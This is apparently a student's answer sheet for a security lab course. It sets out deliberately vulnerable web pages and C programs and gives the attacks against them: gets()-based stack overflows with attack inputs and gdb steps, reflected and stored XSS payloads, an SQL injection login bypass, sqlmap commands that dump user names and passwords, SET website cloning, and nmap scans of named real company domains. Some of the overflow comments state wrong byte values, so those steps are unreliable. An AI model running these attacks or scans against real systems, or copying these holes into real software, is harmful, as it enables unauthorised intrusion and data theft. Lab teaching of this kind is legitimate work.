1. Develop an E-Commerce web page that uses GET and POST methods. And identify and exploit vulnerabilities.

Create a folder in xampp/htdocs/sahil1

Index.html-

<!DOCTYPE html>

<html lang="en">

<head>

<meta charset="UTF-8">

<title>E-Commerce Store</title>

</head>

<body>

<h1>Welcome to Our Store</h1>

<form action="cart.php" method="GET">

<h2>Products</h2>

<label for="product">Choose a product:</label>

<select id="product" name="product">

<option value="item1">Product 1 - $10</option>

<option value="item2">Product 2 - $20</option>

<option value="item3">Product 3 - $30</option>

</select>

<input type="hidden" name="price" id="price" value="10">

<br><br>

<label for="quantity">Quantity:</label>

<input type="number" id="quantity" name="quantity" value="1" min="1">

<br><br>

<input type="submit" value="Add to Cart">

</form>

</body>

</html>

Cart.php-

<?php

session\_start();

if (!isset($\_SESSION['cart'])) {

$\_SESSION['cart'] = array();

}

if ($\_SERVER['REQUEST\_METHOD'] == 'GET' && isset($\_GET['product']) &&

isset($\_GET['quantity']) && isset($\_GET['price'])) {

$product = $\_GET['product'];

$quantity = $\_GET['quantity'];

$price = $\_GET['price'];

// Store item in session

$item = array("product" => $product, "quantity" => $quantity, "price" =>

$price);

array\_push($\_SESSION['cart'], $item);

}

?>

<!DOCTYPE html>

<html lang="en">

<head>

<meta charset="UTF-8">

<title>Shopping Cart</title>

</head>

<body>

<h1>Your Cart</h1>

<table border="1">

<tr>

<th>Product</th>

<th>Quantity</th>

<th>Price</th>

</tr>

<?php

$total = 0;

foreach ($\_SESSION['cart'] as $item) {

echo "<tr>";

echo "<td>" . htmlspecialchars($item['product']) . "</td>";

echo "<td>" . htmlspecialchars($item['quantity']) . "</td>";

echo "<td>" . htmlspecialchars($item['price']) . "</td>";

echo "</tr>";

$total += $item['quantity'] \* $item['price'];

}

?>

</table>

<h2>Total: $<?php echo htmlspecialchars($total); ?></h2>

<form action="checkout.php" method="POST">

<input type="submit" value="Proceed to Checkout">

</form>

</body>

</html>

1. Implement a stack buffer overflow attack using a procedural language on the "Legacy Banking System". Explain the concept of stack buffer overflow and discuss techniques to prevent such attacks.

CODE-

(make folder on desktop->two->your\_files)

legacy\_banking.c-

#include <stdio.h>

#include <string.h>

typedef struct {

char accountHolderName[10];

int accountBalance;

} Account;

int main() {

Account acc;

printf("Enter account holder's name (Max 10 characters): ");

acc.accountBalance = 1000; // Default balance

gets(acc.accountHolderName); // Vulnerable function

printf("Thank you %s! Account Balance: $%d\n", acc.accountHolderName, acc.accountBalance);

return 0;

}

attack.c-

#include <stdio.h>

#include <string.h>

int main() {

// Change accountBalance to 9999

printf("%s%c", "aaaaaaaaaaaa", '\x27'); // Assuming 0x27 is the value that sets balance to 9999

return 0;

}

1st terminal-

cd Desktop

cd two

gcc -fno-stack-protector -o test legacy\_banking.c

gdb test

break main

run

info registers

disas

x/20 0x7fffffffde00

next

(enter holder’s name more than max 10 characters)

p/x 9999

2nd terminal-

cd Desktop

cd two

gcc -o attack attack.c

./attack | ./test

1. Create Social media Web Page and Perform a reflected cross-site scripting (XSS) attack on it .

<!DOCTYPE html>

<html lang="en">

<head>

<meta charset="UTF-8" />

<title>XSS Demo</title>

</head>

<body>

<h1>Welcome to Our Social Media Page</h1>

<form action="" method="GET">

<label for="name">Enter your name:</label>

<input type="text" id="name" name="name" />

<button type="submit">Submit</button>

</form>

<div id="greeting">

<p>

Hello,

<script>

document.write(

decodeURIComponent(window.location.search.substring(6))

);

</script>

! Welcome to our website.

</p>

</div>

</body>

</html>

Vulnerable function- <script>alert(‘XSS ATTACK’)</script>

1. Create Social media Web Page and Perform a Stored cross-site scripting (XSS) attack on it .

app.js-

const userMessages = [];

const userMessageForm = document.querySelector('form');

const userMessagesList = document.querySelector('ul');

function renderMessages() {

let messageItems = '';

for (const message of userMessages) {

messageItems = `

${messageItems}

<li class="message-item">

<div class="message-image">

<img src="${message.image}" alt="${message.text}">

</div>

<p>${message.text}</p>

</li>

`;

}

userMessagesList.innerHTML = messageItems;

}

function formSubmitHandler(event) {

event.preventDefault();

const userMessageInput = event.target.querySelector('textarea');

const messageImageInput = event.target.querySelector('input');

const userMessage = userMessageInput.value;

const imageUrl = messageImageInput.value;

if (

!userMessage ||

!imageUrl ||

userMessage.trim().length === 0 ||

imageUrl.trim().length === 0

) {

alert('Please insert a valid Password.');

return;

}

userMessages.push({

text: userMessage,

image: imageUrl,

});

userMessageInput.value = '';

messageImageInput.value = '';

renderMessages();

}

userMessageForm.addEventListener('submit', formSubmitHandler);

//some-page.com/no-image.jpg" onerror ="alert('Hacked!')"

Index.html-

<!DOCTYPE html>

<html lang="en">

<head>

<style>

body {

background-image: url('https://wallpapertag.com/wallpaper/full/e/1/4/826909-hospital-wallpapers-1920x1080-hd.jpg');

}

</style>

<meta charset="UTF-8" />

<meta name="viewport" content="width=device-width, initial-scale=1.0" />

<h1 style="font-size: 60px;">NOBLE HOSPITAL</h1>

<link rel="stylesheet" href="style.css" />

<script src="app.js" defer></script>

</head>

<body>

<section id="user-input">

<form>

<div class="form-control">

<label for="user-message">USERNAME</label>

<textarea id="user-message" name="user-message"></textarea>

</div>

<div class="form-control">

<label for="message-image">PASSWORD</label>

<input type="text" id="message-image" name="message-image" />

</div>

<button type="submit">LOGIN</button>

</form>

</section>

<section id="user-messages">

<ul></ul>

</section>

</body>

</html>

Style.css-

\* {

box-sizing: border-box;

}

html {

font-family: sans-serif;

}

body {

margin: 0;

}

section {

margin: 2rem auto;

width: 90%;

max-width: 40rem;

border-radius: 10px;

box-shadow: 0 2px 8px rgba(0, 0, 0, 0.26);

background-color: white;

padding: 1rem;

}

.form-control {

margin: 1rem 0;

}

.form-control input,

.form-control textarea,

.form-control label {

display: block;

width: 100%;

font: inherit;

}

.form-control label {

font-weight: bold;

margin-bottom: 0.5rem;

}

.form-control input,

.form-control textarea {

border: 1px solid #ccc;

padding: 0.25rem;

border-radius: 4px;

}

.form-control input:focus,

.form-control textarea:focus {

border-color: #ffbb00;

outline: none;

background-color: #fcecc1;

}

button {

cursor: pointer;

font: inherit;

border-radius: 6px;

border: 1px solid black;

background-color: #ffbb00;

color: black;

padding: 0.5rem 2rem;

box-shadow: 1px 1px 2px rgba(0, 0, 0, 0.26);

}

button:focus {

outline: none;

}

button:hover,

button:active {

background-color: #f8cf60;

}

#user-messages ul {

padding: 0;

margin: 0;

list-style: none;

}

.message-item {

margin: 0.5rem 0;

padding: 0.5rem;

display: flex;

align-items: center;

}

.message-image {

width: 50px;

height: 50px;

margin-right: 1rem;

}

.message-item img {

width: 100%;

height: 100%;

border-radius: 50%;

}

1. Create Net Banking Web Page and Perform a reflected cross-site scripting (XSS) attack on it .

<!DOCTYPE html>

<html lang="en">

<head>

<meta charset="UTF-8" />

<title>XSS Demo</title>

</head>

<body>

<h1>Welcome to Our Banking Page</h1>

<form action="" method="GET">

<label for="name">Enter your name:</label>

<input type="text" id="name" name="name" />

<button type="submit">Submit</button>

</form>

<div id="greeting">

<p>

Hello,

<script>

document.write(

decodeURIComponent(window.location.search.substring(6))

);

</script>

! Welcome to our website.

</p>

</div>

</body>

</html>

Vulnerable function- <script>alert(‘XSS ATTACK’)</script>

1. Create Net Banking Web Page and Perform a Stored cross-site scripting (XSS) attack on it.

(SAME AS 4TH)

1. }Use NMAP to perform port scanning on the network of Tech Startup Inc. to locate malware and vulnerabilities(inc42.com)

nmap inc42.com

sudo nmap -sA inc42.com

nmap 169.148.148.\*

nmap 169.148.148.67

nmap 169.148.148.25-29

sudo nmap -sS 169.148.148.67

sudo nmap inc42.com -oG op.txt

nmap -iL input.txt

nmap -p 45-50 inc42.com

sudo nmap –trace inc42.com

sudo nmap -O inc42.com

1. Implement a stack buffer overflow attack using a procedural language on the "Internal Inventory Management System".

(make folder on desktop->two->your\_files)

test.c-

#include <stdio.h>

#include <string.h>

typedef struct {

char itemName[10];

int quantity;

} InventoryItem;

int main() {

InventoryItem item;

printf("Enter item name (Max 10 characters): ");

item.quantity = 100; // Default quantity

gets(item.itemName); // Vulnerable function

printf("Item: %s, Quantity: %d\n", item.itemName, item.quantity);

return 0;

}

attack.c-

#include <stdio.h>

#include <string.h>

int main() {

// Overflow the buffer and change the quantity to 999

printf("%s%c", "aaaaaaaaaaaa", '\x63'); // Assuming 0x63 is the value that sets quantity to 999

return 0;

}

1st terminal-

cd Desktop

cd eight

gcc -fno-stack-protector -o test test.c

gdb test

break main

run

info registers

disas

x/20xw $rsp

next

(enter item’s name more than max 10 characters)

p/x 999

2nd terminal-

cd Desktop

cd eight

gcc -o attack attack.c

./attack | ./test

1. }Conduct a brute force password cracking attack on the login system of BWAPP. Username - User1234 and password will be a combination of letters a,b,c of length 5.(abc123)
2. }Perform penetration testing on the "HR Management Software" to identify and exploit application vulnerabilities. (SET)

1

2

3

2

Enter

url for cloning website

then copy your port number

1. Develop a "Blogging Platform" that uses GET and POST methods. And identify and exploit vulnerabilities.

Create a folder in xampp/htdocs/blog

**index.html-**

<!DOCTYPE html>

<html>

<head>

    <title>Simple Blogging Platform</title>

</head>

<body>

    <h1>Simple Blogging Platform</h1>

    <form action="submit.php" method="POST">

        <label for="title">Title:</label><br>

        <input type="text" id="title" name="title"><br>

        <label for="content">Content:</label><br>

        <textarea id="content" name="content"></textarea><br><br>

        <input type="submit" value="Submit">

    </form>

    <h2>All Blog Posts</h2>

    <?php include 'display.php'; ?>

</body>

</html>

**display.php-**

<?php

if (file\_exists('posts.txt')) {

    $posts = file('posts.txt', FILE\_IGNORE\_NEW\_LINES);

    foreach ($posts as $post) {

        list($title, $content) = explode('||', $post);

        echo "<h3>$title</h3><p>$content</p><hr>";

    }

} else {

    echo "No posts available";

}

?>

**submit.php-**

<?php

if ($\_SERVER['REQUEST\_METHOD'] == 'POST') {

    $title = htmlspecialchars($\_POST['title']);

    $content = htmlspecialchars($\_POST['content']);

    $data = $title . "||" . $content . "\n";

    file\_put\_contents('posts.txt', $data, FILE\_APPEND);

}

header("Location: index.html");

exit();

?>

1. Implement a stack buffer overflow attack on the "Food Delivery” application using a procedural language.

(make folder on desktop->two->your\_files)

test.c-

#include <stdio.h>

#include <string.h>

typedef struct {

char customerName[10];

int orderAmount;

} Order;

int main() {

Order order;

printf("Enter customer name (Max 10 characters): ");

order.orderAmount = 50; // Default order amount

gets(order.customerName); // Vulnerable function

printf("Thank you %s! Order Amount: $%d\n", order.customerName, order.orderAmount);

return 0;

}

attack.c-

#include <stdio.h>

#include <string.h>

int main() {

// Overflow the buffer and change the orderAmount to 999

printf("%s%c", "aaaaaaaaaaaa", '\xe7'); // Assuming 0xe7 is the value that sets orderAmount to 999 (0xe7 in hex is 231 in decimal)

return 0;

}

1st terminal-

cd Desktop

cd twelve

gcc -fno-stack-protector -o test test.c

gdb test

break main

run

info registers

disas

x/20xw $rsp

next

(enter customer’s name more than max 10 characters)

p/x 999

2nd terminal-

cd Desktop

cd eight

gcc -o attack attack.c

./attack | ./test

1. Implement a stack buffer overflow attack “Financial Analysis Software" in a simulated environment using a procedural language, documenting each step of the process.

(make folder on desktop->two->your\_files)

test.c-

#include <stdio.h>

#include <string.h>

typedef struct {

char clientName[10];

float balance;

} Client;

int main() {

Client client;

printf("Enter client name (Max 10 characters): ");

client.balance = 1000.0; // Default balance

gets(client.clientName); // Vulnerable function

printf("Client: %s, Balance: $%.2f\n", client.clientName, client.balance);

return 0;

}

attack.c-

#include <stdio.h>

#include <string.h>

int main() {

// Overflow the buffer and change the balance to 99999.99

printf("%s%s", "aaaaaaaaaaaa", "\xc2\x7d\x48\x46"); // This assumes we know the exact bytes to overflow and change the balance

return 0;

}

1st terminal-

cd Desktop

cd thirteen

gcc -fno-stack-protector -o test test.c

gdb test

break main

run

info registers

disas

x/20xw $rsp

next

(enter client’s name more than max 10 characters)

2nd terminal-

cd Desktop

cd thirteen

gcc -o attack attack.c

./attack | ./test

1. }Utilize NMAP to perform a port scan on the network of "Telecommunications Company". ([www.similarweb.com](http://www.similarweb.com))

Same as 7

1. }Conduct a dictionary attack password cracking attack on the BWAPP. Username - vuStudent.
2. }Perform penetration testing on the network infrastructure of "Healthcare Provider", identifying and exploiting vulnerabilities.

(SET) same as 10

1. }Investigate vulnerabilities in "Online Learning Management System", focusing on input validation and output encoding. (NMAP)([www.zoho.com](http://www.zoho.com))

Same as 7

1. Implement a stack buffer overflow attack.(normal)
2. }Utilize NMAP to perform a port scan on the network of "Retail Chain". (moreretail.com)

Same as 7

1. }Perform penetration testing on "E-Commerce Platform" to identify vulnerabilities.(amazon)

Same as 10 (SET)

1. }Utilize NMAP to perform an port scan on the network of Altoro Mutual - <http://altoro.testfire.net/> , identifying potential security risks.

Same as 7

1. }Utilize NMAP to perform a detailed port scan on the network of testphp.vulnweb.com

Same as 7

1. }Perform penetration testing on "Customer Support Ticketing System" to identify vulnerabilities, such as XSS and CSRF vulnerabilities.

Same as 10

1. }Find a way to log in as an admin without using the correct password on the "User Login Page" of Altoro Mutual - <http://altoro.testfire.net/> . Explain how you did it and how this could be prevented.

Username:Admin;' or 1=1— / admin’--

Password:anything

1. }Retrieve all user data from the "Customer Database" of Acuart website - <http://testphp.vulnweb.com/index.php> ; Explain ho w you accomplished this and suggest a method to stop this unauthorized access

sqlmap testphp.vulnweb.com/artists?artist=1

sqlmap -u testphp.vulnweb.com/artists?artist=1 -dbs

sqlmap -u testphp.vulnweb.com/artists?artist=1 -D acuart -tables

sqlmap -u testphp.vulnweb.com/artists?artist=1 -D acuart -T users -columns

sqlmap -u testphp.vulnweb.com/artists?artist=1 -D acuart -T users -C uname -dump

sqlmap -u testphp.vulnweb.com/artists?artist=1 -D acuart -T users -C pass -dump